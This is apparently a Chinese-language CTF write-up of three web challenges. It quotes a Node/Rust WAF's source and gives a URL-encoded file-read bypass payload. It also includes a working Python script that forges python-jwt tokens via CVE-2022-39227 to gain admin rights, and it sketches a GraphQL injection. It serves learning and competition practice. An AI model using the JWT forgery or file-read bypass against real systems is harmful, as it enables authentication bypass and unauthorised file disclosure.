RustWaf
先读src,然后使用/readfile 传入/flag可以进一步看到源码
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
/flag
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs"); //这里限制我们不能带有flag和proc字段
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs"); //这里限制我们的json字段不能带有protocol字段,但是下面限制我们是file结构体,这也就意味着我们一定要有protocol字段
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {//限制我们只能是这个结构体
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1])); //这里把json的第二字段传进去
}
但是在这里
readFileSync这个方法是可以接收url编码内容的
详情见pysnow师傅的这篇
["file:","b","a","/%66%6c%61%67",""]
这样就可以解析url编码拿到/flag
ezjava
没接触java,CC4试了一个下午,本地没出,寄!日后复现。
webfun
考点jwt伪造1day+grahql注入
我这里只复现一下这个jwt伪造了,grahql只能纸上谈兵的看看了并不能实操
考到了jwt新出的CVE-2022-39227
抓包的时候有一串jwt,解码出来之后可以看到
而我们点击页面的各种功能提示都是权限不够,那么这里也就是需要构造is_admin=1,在jwt这个版本更新之后,留下了检测是否存在漏洞的pochttps://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py这个CVE的漏洞就是不需要公钥以及私钥就能构造出jwt的认证,稍作修改就可以更改:将里面的sub=bob改成is_admin=1然后拿出来输出一下
给出payload:
from datetime import timedelta
from json import loads, dumps
from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
# print (header+ '.' +fake_payload+ '.' +signature)
# print (header+ '.' + payload+ '.' +signature)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = '''给出的jwt'''
topic = topic(originaltoken)
print(topic)
这样就能够以admin的形式登陆了
查看flag还是不行,但是这里还有一个查询接口
苦于没有环境,我就只能口述了,利用graphql注入,注入出账号密码,最终登陆拿到flag